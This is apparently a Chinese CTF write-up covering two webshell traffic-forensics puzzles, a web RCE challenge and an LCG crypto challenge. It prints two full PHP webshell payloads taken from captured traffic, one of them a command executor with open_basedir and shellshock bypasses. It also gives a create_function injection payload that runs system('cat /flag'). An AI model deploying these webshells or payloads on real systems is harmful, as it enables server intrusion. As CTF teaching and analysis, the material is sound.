MISC
flow
1、用 Wireshark 打开解压后的文件,过滤出http的流量,逐个对请求和响应进行解码分析,发现该流量是先上传webshell,然后利用webshell进行攻击的流量
2、在响应长度为709的流量中发现敏感文件flag.txt
3、猜想下一步请求就是查看flag.txt文件内容,分析下一个请求
查看分组字节流
放到CyberChef进行解码
URL解码后,发现传递了三个参数air、jb4b82d0a4c3d5、o0cf98c06c2285
根据air参数可知道,需要对jb4b82d0a4c3d5的值进行base64解码
- 对jb4b82d0a4c3d5的值进行base64解码后发现是PHP代码,复制到PhpStorm代码格式化
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) continue;
$tmdir = $item . "/.bec1c";
@mkdir($tmdir);
if (!@file_exists($tmdir))continue;
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) @chdir("..");
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;}}
function asenc($out){
// 返回base64编码后的字符串
return @base64_encode($out);
}
function asoutput(){
// 读取缓冲区的内容
$output = ob_get_contents();
ob_end_clean();
// 输出前置字符串
echo "6cd90" . "8f25c4";
// 输出base64编码后的内容
echo @asenc($output);
// 输出后置字符串
echo "c50d" . "3d1e0";
}
ob_start();
try {
// 接收o0cf98c06c2285参数,去掉前两个字符,然后base64解码
$F = base64_decode(substr($_POST["o0cf98c06c2285"], 2));
// 只读方式打开上面指定的文件
$P = @fopen($F, "r");
// 读取文件内容到缓冲区,如果文件大小小于4096就读取文件大小个字节,否则只读取4096个字节
echo(@fread($P, filesize($F) ? filesize($F) : 4096));
@fclose($P);;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
这里对关键代码进行标注
- 对 o0cf98c06c2285解码(注意:要删除前两个字符)
未删除前两个字符 删除前两个字符
结合上面分析,这里读取/Users/chang/Sites/air/flag.txt内容,那么接下来的响应包的内容就是flag.txt里面的内容进行base64编码加上前置字符串和后置字符串
4、查看响应包内容
这里直接用Wireshark跳过前置字符串和后置字符串进行base64解码
可以发现解码后是看到7b和7d,分别对应字符 { 和 } 的十六进制编码
5、 解码后得到flag
简单流量
1、用Wireshark打开解压后的文件,逐步分析http流量,发现也是webshell流量题
在长度为368的响应包发现敏感文件
直接提取下一个请求,解码后发现参数a明文传输了一段PHP代码,后面跟着传递了3个参数
将PHP代码放到PhpStorm里面格式化,简单分析
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.cab8cb0";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){
return $out;
}
function asoutput(){
$output = ob_get_contents();
ob_end_clean();
echo "2a77" . "01e3a";
echo @asenc($output);
echo "465c" . "e3a62";
}
ob_start();
try {
$p = base64_decode(substr($_POST["ya7bc128230026"], 2));
$s = base64_decode(substr($_POST["x77118dbf56718"], 2));
$envstr = @base64_decode(substr($_POST["paf2bc7ed125d1"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
;
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
关键代码
大概意思就是可以将x77118dbf56718参数的值当作命令执行,并且把命令执行结果响应给前端
在对后面参数解码
可以发现这个请求先切换了目录,然后输出前置字符,再执行pwd命令,最后输出后置字符串
查看响应包,发现输出结果和预期一致(注意:在参数a的PHP代码中也输出了前置字符串和后置字符串,执行命令时也输出了前置字符串和后置字符串,所以响应包前置字符串很长,后置字符串有两行)
2、依次分析接下来的请求和响应
在长度为5228的请求中发现执行了输出flag.zip压缩文件的hex
直接提取响应包的内容
分析请求包,去掉多余的字符(前置字符串、后置字符串、pwd的命令结果输出)
3、提取ZIP文件
另存为txt文件
打开010Editor导入十六进制
另存为flag.zip
解压缩发现要密码
4、继续分析流量,查找密码
在最后一个请求中发现执行了解压缩命令,密码为P@sSw03d
可以发现响应结果也是成功解压了,说明密码就是P@sSw03d
5、解压文件得到flag
WEB
不一样的rce
1、打开靶场查看源码发现弹窗,很明显前端用JavaScript对F12做了限制
打开火狐浏览器,禁用JavaScript,让浏览器不执行js代码
2、查看源码,提示爬虫协议 ,爬虫协议提示爬虫者哪些页面不能爬取
3、查看robots.txt爬虫协议,发现ikun.php
4、打开ikun.php发现php代码
审计代码,接收4个参数,code和c0_de参数不强相等,sha1加密却相等,两个参数没有转为string,可以用数组绕过。看到$a('',$b);就应该想到create_function(),所以ctf=}system("cat /flag");/*,}与前面进行闭合,/*注释后面代码。das不能以字母和数字开头,可以用反斜杠\进行转义,对于普通字符\c转义后就是原字符c。ctf参数不能cat、ls等可以用base64编码绕过。
查看根目录下发现flag和dflag,分别查看flag和dflag
5、在dflag中发现flag,构造payload获取flag
Crypto
BabyLCG
1、打开文件查看代码
from secret import flag
from random import choice
from Crypto.Util.number import *
from base64 import *
base = choice([1, 2, 3])
if base == 1:
flag = bytes_to_long(b16encode(flag))
elif base == 2:
flag = bytes_to_long(b32encode(flag))
else:
flag = bytes_to_long(b64encode(flag))
class LCG:
def __init__(self, seed, multiplier, increment, modulus):
self.state = seed
self.multiplier = multiplier
self.increment = increment
self.modulus = modulus
def up(self):
self.state = (self.state * self.multiplier + self.increment) % self.modulus
return self.state
LcG = LCG(flag, getPrime(512), getPrime(512), getPrime(512))
gift = []
for i in range(10):
gift.append(LcG.up())
print('gift = ' + str(gift[7:]))
print('modulus = ' + str(LcG.modulus))
'''
gift = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007,
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434,
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]
modulus = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753
'''
从1 2 3随机选一个数字赋值给base
如果base为1则对flag进行base16加密...
循环做10次lcg操作,输出最后三次随机数序列和模数
2、 发现是lcg算法(ctf之lcg算法_ctf lcg-CSDN博客)
公式:
3、分析代码(未知乘数a、增量b,已知模数m、随机数X 8,9,10)
根据后三个随机数序列反推前7个,从而反推出种子seed(也就是flag)
4、最终exp
from Crypto.Util.number import *
from gmpy2 import gmpy2
from base64 import *
m = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753
x = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007,
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434,
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]
n = 0
# # 公式二求a
a = ((x[n + 2] - x[n + 1]) * gmpy2.invert((x[n + 1] - x[n]), m)) % m
# # 公式三求b
b = (x[n + 1] - a * x[n]) % m
# # 公式一求初始值
aa = gmpy2.invert(a, m)
pre_x = [aa * (x[n] - b) % m]
for i in range(10):
pre_x.append(aa * (pre_x[i] - b) % m)
seed = long_to_bytes(pre_x[7]).decode()
print(seed)
# 由于对flag随机编码,所以需要尝试解码,如果解码失败报错会导致程序退出,所以需要try except捕获异常
try:print(b16decode(seed))
except:pass
try:print(b32decode(seed))
except:pass
try:print(b64decode(seed))
except:pass
5、执行代码得到flag